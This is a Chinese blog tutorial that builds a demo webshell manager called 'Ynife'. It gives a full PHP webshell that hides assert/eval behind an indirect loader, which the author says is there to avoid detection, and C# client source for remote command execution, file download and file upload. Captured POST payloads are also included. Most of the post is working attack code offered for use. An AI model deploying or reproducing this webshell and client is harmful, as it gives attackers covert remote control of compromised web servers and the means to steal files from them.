查看原文
其他

Demo版菜刀

yicunyiye 红队蓝军 2023-03-20

首发于奇安信攻防社区:https://forum.butian.net/share/1796

demo版,所以存在很多问题(判断连接都通过response),暂时未加加密传输,demo2版会修改为加密通信和大文件传输,断点续传,socks功能。这里测试所以就用的request方法。而非post等。

webshell:

<?php
@ini_set('display_errors','0');
if($_REQUEST['Ynife_verify'] == "verity" && $_REQUEST['Ynife_password'] == "pass"){
 echo "bingo";
}
if($_REQUEST['Ynife_password'] == "pass" && $_REQUEST['Ynife_verify'] == "run"){
 if($_REQUEST['Ynife_run_flag'] == "run"){
  loader($_REQUEST['loader'],$_REQUEST['Ynife_run_loader']);
 }else{
  loader($_REQUEST['Ynife_run_loader'],$_REQUEST['Ynife_run']);
 }
}
function loader($a,$b){
 $cc = run($b);
 $a($cc);
}
function run($b){
  return $b;
 }
?>
image.png
image.png

他叫我约妹子去了。那我就去了。。。

首先看到webshell如何判断是否连接成功,当$_REQUEST['Ynife_verify']为verity和$_REQUEST['Ynife_password']等于pass的时候echo一个bingo。师傅看到这里可以就会喷了哈哈哈哈我也觉得。因为后期会改造所以暂时先将就着试试水。

这里回到c#入口函数

Program.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;


namespace Ynife
{
    internal class Program
    {
        static void Main(string[] args)
        {
            string url = args[0];
            string password = args[1];
            string res = SendData.PostRequest(url, password);
            if (res == "bingo")
            {
                Console.WriteLine("[+]connect success");
                SendExecuteCommand.SendCode(url, password);
            }
            else
            {
                Console.WriteLine("[-]connect failed");
            }
        }
    }
}

首先接受控制台url加密码其实就是$_REQUEST['Ynife_password']的值。然后通过SendData类的PostRequest方法发送。跟进PostRequest方法。

public static string PostRequest(string url,string password)
{
    string responseData = "";
    var client = new WebClient();
    WebProxy proxy = new WebProxy("127.0.0.1", 8080);
    client.Proxy = proxy;
    var data = new NameValueCollection();
    data["Ynife_password"] = password;
    data["Ynife_verify"] = "verity";
    byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
    client.Headers.Add("ContentLength", sendData.Length.ToString());
    byte[] bytes = client.UploadValues(url, "POST", data);
    responseData = Encoding.UTF8.GetString(bytes);
    return responseData;
}

本地测试开启了8080代理,不用关闭就行。

测试下连接

image.png
image.png
SendExecuteCommand.SendCode(url, password);

如果连接成功调用SendExecuteCommand类得SendCode方法。同样需要传参url和password。跟进SendCode方法

using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Linq;
using System.Net;
using System.Text;

namespace Ynife
{
    public static class SendExecuteCommand
    {
        public static void SendCode(string url,string password)
        {
            while (true)
            {
                Console.Write(">>");
                string cmd = Console.ReadLine();
                if(cmd == "break" || cmd == "quit" || cmd == "exit")
                {
                    Console.WriteLine("bye~");
                    break;
                }
                if(cmd == "help" || cmd == "h" || cmd == "?")
                {
                    Console.WriteLine("[*]usage:\r\n         h or help or ? for help");
                    Console.WriteLine("         break or quit or exit for exit shell");
                    Console.WriteLine("         upload filename for upload file");
                    Console.WriteLine("         download filename for download file");
                }
                if(cmd.Contains("upload "))
                {
                    string upfile = cmd.Replace("upload""").Trim();
                    uploadFile.upload(upfile,url,password);
                    continue;
                }
                if(cmd.Contains("download "))
                {
                    string dwfile = cmd.Replace("download""").Trim();
                    download.downloadFile(url, password, dwfile);
                    continue;
                }
                string responseData = "";
                var wb = new WebClient();
                WebProxy proxy = new WebProxy("127.0.0.1", 8080);
                wb.Proxy = proxy;
                var data = new NameValueCollection();
                data["Ynife_verify"] = "run";
                data["Ynife_password"] = password;
                data["Ynife_run"] = "system('"+cmd+ "');@ini_set('display_errors','0');";
                data["loader"] = "assert";
                data["Ynife_run_loader"] = "@eval($_REQUEST['Ynife_run'])";
                data["Ynife_run_flag"] = "run";
                byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
                wb.Headers.Add("ContentLength", sendData.Length.ToString());
                byte[] bytes = wb.UploadValues(url, "POST", data);
                //responseData = Encoding.UTF8.GetString(bytes);
                Encoding gb2312;
                gb2312 = Encoding.GetEncoding("gb2312");
                responseData = gb2312.GetString(bytes);
                if (responseData.Contains("yes"))
                {
                    responseData = responseData.Replace("yes""");
                }
                Console.WriteLine(responseData);
            }
            
        }
    }
}

while循环当string cmd = Console.ReadLine(); cmd值为break或者quit或者exit退出循环。cmd值为help或者h或者?,使用教程。upload和download分别调用uploadFile类upload方法和download类downloadFile方法。这里先不管,先看命令执行。看到webshell。

if($_REQUEST['Ynife_password'] == "pass" && $_REQUEST['Ynife_verify'] == "run"){
 if($_REQUEST['Ynife_run_flag'] == "run"){
  loader($_REQUEST['loader'],$_REQUEST['Ynife_run_loader']);
 }else{
  loader($_REQUEST['Ynife_run_loader'],$_REQUEST['Ynife_run']);
 }
}
function loader($a,$b){
 $cc = run($b);
 $a($cc);
}
function run($b){
  return $b;
 }

loader方法其实就是b)。loader($_REQUEST['loader'],$_REQUEST['Ynife_run_loader']);就一眼看出来是个什么鬼了。为什么要这么写?问得好,因为我直接写被干了。

回到c#

string responseData = "";
var wb = new WebClient();
WebProxy proxy = new WebProxy("127.0.0.1", 8080);
wb.Proxy = proxy;
var data = new NameValueCollection();
data["Ynife_verify"] = "run";
data["Ynife_password"] = password;
data["Ynife_run"] = "system('"+cmd+ "');@ini_set('display_errors','0');";
data["loader"] = "assert";
data["Ynife_run_loader"] = "@eval($_REQUEST['Ynife_run'])";
data["Ynife_run_flag"] = "run";
byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
wb.Headers.Add("ContentLength", sendData.Length.ToString());
byte[] bytes = wb.UploadValues(url, "POST", data);
//responseData = Encoding.UTF8.GetString(bytes);
Encoding gb2312;
gb2312 = Encoding.GetEncoding("gb2312");
responseData = gb2312.GetString(bytes);

抓包看看

image.png
POST /test2.php HTTP/1.1
ContentLength: 50
Content-Type: application/x-www-form-urlencoded
Host: www.test.com
Content-Length: 191
Expect: 100-continue
Connection: close

Ynife_verify=run&Ynife_password=pass&Ynife_run=system('whoami');@ini_set('display_errors','0');&loader=assert&Ynife_run_loader=@eval($_REQUEST['Ynife_run'])&Ynife_run_flag=run

接下来看到文件下载

if(cmd.Contains("download "))
{
    string dwfile = cmd.Replace("download""").Trim();
    download.downloadFile(url, password, dwfile);
    continue;
}

可以看到当cmd值为download xx的时候replace download空格为空,后面就执行download类的downloadFile方法。

using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;

namespace Ynife
{
    public static class download
    {
        public static void downloadFile(string url,string password,string downloadFile)
        {
            try
            {
                string responseData = "";
                var wb = new WebClient();
                WebProxy proxy = new WebProxy("127.0.0.1", 8080);
                wb.Proxy = proxy;
                var data = new NameValueCollection();
                string Ynife_run = "@eval($_REQUEST['up']);";
                data["Ynife_run"] = Ynife_run;
                data["Ynife_verify"] = "run";
                data["Ynife_password"] = password;
                data["Ynife_download"] = "true";
                data["Ynife_run_loader"] = "assert";
                data["up"] = "@ini_set('display_errors',+'0');$filename = '"+ downloadFile+"';$handle = fopen($filename, 'rb');$contents = fread($handle, filesize($filename));echo $contents;fclose($handle);";
                byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
                wb.Headers.Add("ContentLength", sendData.Length.ToString());
                byte[] bytes = wb.UploadValues(url, "POST", data);
                //responseData = Encoding.UTF8.GetString(bytes);
                Encoding gb2312;
                gb2312 = Encoding.GetEncoding("gb2312");
                responseData = gb2312.GetString(bytes);
                File.WriteAllBytes(downloadFile, bytes);
                if (File.Exists(downloadFile))
                {
                    Console.WriteLine("[+]download success");
                }
                else
                {
                    Console.WriteLine("[-]download failed");
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
    }
}

直接看到post数据包吧。

image.png

post包:

POST /test2.php HTTP/1.1
ContentLength: 50
Content-Type: application/x-www-form-urlencoded
Host: www.test.com
Content-Length: 336
Expect: 100-continue
Connection: close

Ynife_run=@eval($_REQUEST['up']);&Ynife_verify=run&Ynife_password=pass&Ynife_download=true&Ynife_run_loader=assert&up=@ini_set('display_errors',+'0');$filename = '2.jpg';$handle = fopen($filename'rb');$contents = fread($handle, filesize($filename));echo $contents;fclose($handle);

利用fopen+fread。c#端通过File.WriteAllBytes写入文件。

文件上传

if(cmd.Contains("upload "))
{
    string upfile = cmd.Replace("upload""").Trim();
    uploadFile.upload(upfile,url,password);
    continue;
}

跟进uploadFile类的upload方法。

using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;

namespace Ynife
{
    public static class uploadFile
    {
        public static void upload(string upfile,string url,string password)
        {
            try
            {
                WebClient oWeb = new System.Net.WebClient();
                WebProxy proxy = new WebProxy("127.0.0.1", 8080);
                oWeb.Proxy = proxy;
                NameValueCollection parameters = new NameValueCollection();
                string Ynife_run = "@eval($_REQUEST['up']);";
                parameters.Add("Ynife_run", Ynife_run);
                parameters.Add("Ynife_verify""run");
                parameters.Add("Ynife_password", password);
                parameters.Add("Ynife_upload""true");
                parameters.Add("Ynife_run_loader""assert");
                parameters.Add("up""@ini_set('display_errors',+'0');$filename=getcwd().'/'.$_FILES['file']['name'];move_uploaded_file($_FILES['file']['tmp_name'],$filename);");
                oWeb.QueryString = parameters;
                var responseBytes = oWeb.UploadFile(url, upfile);
                string response = Encoding.ASCII.GetString(responseBytes);
            }
            catch(Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
            
        }
    }
}

直接抓包

image.png
POST /test2.php?Ynife_run=@eval($_REQUEST['up']);&Ynife_verify=run&Ynife_password=pass&Ynife_upload=true&Ynife_run_loader=assert&up=@ini_set('display_errors''0');$filename=getcwd().'/'.$_FILES['file']['name'];move_uploaded_file($_FILES['file']['tmp_name'],$filename); HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------8da75982467498c
Host: www.test.com
Content-Length: 117381
Expect: 100-continue
Connection: close

-----------------------8da75982467498c
Content-Disposition: form-data; name="file"; filename="2.jpg"
Content-Type: application/octet-stream

就是调用move_uploaded_file来进行文件上传,有点粗糙。

加下方wx,拉你一起进群学习

往期推荐

浅谈EDR绕过

tomcat原理刨析之手写tomcat

ETW的攻与防

什么?你还不会webshell免杀?(四)

初探UAF漏洞

SEH异常之编译器原理探究

什么?你还不会webshell免杀?(三)

初探栈溢出


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存